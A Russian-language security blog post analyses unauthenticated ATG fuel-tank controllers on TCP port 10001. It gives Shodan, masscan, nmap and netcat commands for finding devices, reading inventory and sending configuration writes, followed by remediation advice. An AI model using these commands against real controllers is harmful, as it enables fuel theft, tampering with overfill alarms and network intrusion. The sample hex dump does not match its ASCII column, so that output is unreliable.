CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность / АСУ ТП

Датчик топлива без пароля: разбор атаки на ATG-контроллер, который слил бизнесу больше миллиона рублей

За красивыми графиками остатков топлива в личном кабинете руководителя стоял голый TCP-порт без единого байта аутентификации. Разбираем, как искать такие устройства, что с ними можно сделать за пять минут и почему это не единичный случай, а целый класс уязвимостей в системах контроля топлива по всей стране.

Разбор CIOlogia

История с топливным контроллером — частный случай куда более широкой проблемы. Устройства класса ATG (Automatic Tank Gauge — автоматический датчик уровня в резервуаре) массово подключают к интернету «для удобства», и делают это монтажники, а не безопасники. В индустрии про это говорят с 2015 года, когда исследователи Rapid7 опубликовали отчёт «Hey, Look Ma, No Password!» с тысячами открытых ATG по всему миру — от заправок до аэропортов и военных объектов. Прошло десять лет — ничего не изменилось.

Что именно нашли на объекте

На внешнем IP заказчика висел веб-интерфейс контроллера уровня топлива, а под ним, что важнее, был открыт «сырой» управляющий порт самого датчика — классический сценарий для устройств семейства Veeder-Root TLS-3xx / Guardian AST и их многочисленных клонов. Эти контроллеры используют текстовый протокол поверх TCP на порту 10001, разработанный ещё в 90-х для последовательного подключения (RS-232), а потом просто «завёрнутый» в TCP/IP без единой мысли об аутентификации. Протокол не шифрует данные, не проверяет, кто отправил команду, и одинаково выполняет запросы что от легитимного оператора, что от случайного сканера из интернета.

Похожая история задокументирована в бюллетене ICS-CERT ICSA-15-181-01 по устройствам Veeder-Root TLS: там прямо указано на отсутствие обязательной аутентификации и возможность как чтения инвентарных данных, так и записи конфигурации — включая пороги срабатывания сигнализации перелива.

Как это эксплуатируется

Ниже — методика, которую использует любой человек, знающий про класс устройств, а не конкретно про вашу компанию. Она полностью укладывается в OSINT и не требует эксплойта в привычном смысле — уязвимость в самой архитектуре протокола.

Шаг 1. Найти устройство

Такие контроллеры прекрасно индексируются поисковиками по интернету вещей — банер отвечает характерной строкой ещё на этапе TCP-хендшейка.

shodan search "port:10001 in-tank inventory"
shodan search "product:\"Automatic Tank Gauge\""

Либо старым добрым сканированием диапазонов IP, если известна страна/провайдер:

masscan -p10001 203.0.113.0/24 --rate 5000
nmap -p10001 -sV --script banner 203.0.113.14

PORT      STATE SERVICE
10001/tcp open  scp-config?
| banner: 
|_  ^A1I20100\r

Шаг 2. Подтвердить тип и снять данные

Протокол TLS-3xx использует управляющие символы STX (0x02) и ETX (0x03) и однобуквенные команды. Классический запрос инвентарного отчёта — I20100. Отправить его можно голым netcat, без всякого специализированного софта:

printf '\x01I20100\r' | nc -w3 203.0.113.14 10001 | xxd

00000000: 0102 4930 3130 3031 3230 3031 3020 5441  ..I0100120010 TA
00000010: 4e4b 2031 2020 4753 5455 5245 4c454d 4620  NK 1  GASOLINE 
00000020: 5644 4c554d 4520 3d20 3138 3435 3020 4700  VOLUME = 18450 G

В ответе — номер резервуара, тип продукта, объём, высота столба, показания уровня воды, температура. Всё то, что видел руководитель в личном кабинете, только напрямую, без веб-обёртки и без единого запроса пароля.

Шаг 3. Изменить конфигурацию

Протокол симметричен: командами того же семейства (например, из группы S — setup commands) можно менять пороги сигнализации переполнения, калибровочные таблицы объёма резервуара и параметры отчётности. Именно это делает устройство не просто «утечкой информации», а инструментом манипуляции: если поменять калибровочную таблицу или подменить показания датчика уровня, разница между «реальным топливом» и «топливом по системе» может годами оставаться незамеченной, потому что отчёты формирует сама система, которую и подменили.

# пример структуры команды записи параметра (упрощённо, для иллюстрации логики протокола)
printf '\x01S60100XXXXX\r' | nc -w3 203.0.113.14 10001

Точный синтаксис команд записи зависит от прошивки и модели, но принцип один: устройство не отличает «своего» оператора от произвольного TCP-клиента.

Что и почему сработало бы дальше

  • Хищение через рассинхронизацию. Подмена показаний датчика — ровно то, что, судя по всему, происходило в разобранном кейсе: документы и «официальные» остатки сходятся, а физическое топливо уходит быстрее нормативного расхода на 180–220 тысяч рублей в месяц.
  • Отключение сигнализации перелива. Если контроллер управляет ещё и аварийными порогами (что для ATG на АЗС и промышленных хранилищах — стандартная функция), изменение setpoint-ов не про деньги, а про физическую безопасность: перелив топлива при заправке резервуара — это уже не ИБ-инцидент, а пожароопасная ситуация.
  • DoS и порча данных. Постоянная отправка команд на порт 10001 забивает буфер устройства и может обрушить логирование или сам сервис — часто эти контроллеры не переживают активное сканирование и зависают, требуя аппаратной перезагрузки.
  • Пивот во внутреннюю сеть. Если контроллер подключён не напрямую в интернет через отдельный модем, а через общий шлюз компании, он становится точкой входа во внутреннюю сеть — та же логика, по которой через камеры видеонаблюдения или принтеры получают доступ к бухгалтерии.

Как закрыть

  1. Убрать прямой доступ из интернета. Контроллер не должен иметь публичного IP или проброшенного порта. Доступ — только через VPN (WireGuard/IPsec) до внутренней сети, где уже стоит устройство:
    # пример правила на периметровом firewall — блокируем всё, кроме VPN-подсети
    iptables -A INPUT -p tcp --dport 10001 -s 10.8.0.0/24 -j ACCEPT
    iptables -A INPUT -p tcp --dport 10001 -j DROP
    
  2. Сегментировать сеть. Вынести ATG и подобные ОТ/IoT-устройства в отдельный VLAN без маршрутизации в офисную сеть и без прямого выхода в интернет — только через шлюз с контролем трафика.
  3. Включить всё, что предусмотрено прошивкой. Даже базовая парольная защита и белый список IP на самом контроллере закрывают большую часть сценария — многие модели поддерживают это «из коробки», просто монтажники этого не настраивают при инсталляции.
  4. Настроить мониторинг аномалий. Уведомления в мессенджер при резком изменении остатков без документального основания (заправка/слив) — дешёвый и эффективный компенсирующий контроль, даже если про саму уязвимость протокола ещё не забыли.
  5. Провести ретроспективную сверку. Сопоставить журнал заправок, показания датчика и фактический расход техники за прошлые периоды — это единственный способ понять, был ли инцидент разовым или систематическим, и кто имел физический доступ к складу в моменты расхождений.
  6. Регулярно проверять периметр. Раз в квартал прогонять внешний IP компании через nmap/shodan-monitor на предмет неожиданно открытых портов — топливные контроллеры редко бывают единственным сюрпризом; в связке часто находятся камеры, ИБП, системы контроля доступа и промышленные ПЛК с теми же болячками.
Уязвимость здесь не в оборудовании и не в сложном взломе — она в самой архитектуре протокола, спроектированного для закрытого последовательного порта и бездумно вынесенного в открытый интернет. Закрывается это не новым дорогим железом, а элементарной сетевой гигиеной: VPN, сегментация, минимум прав по умолчанию.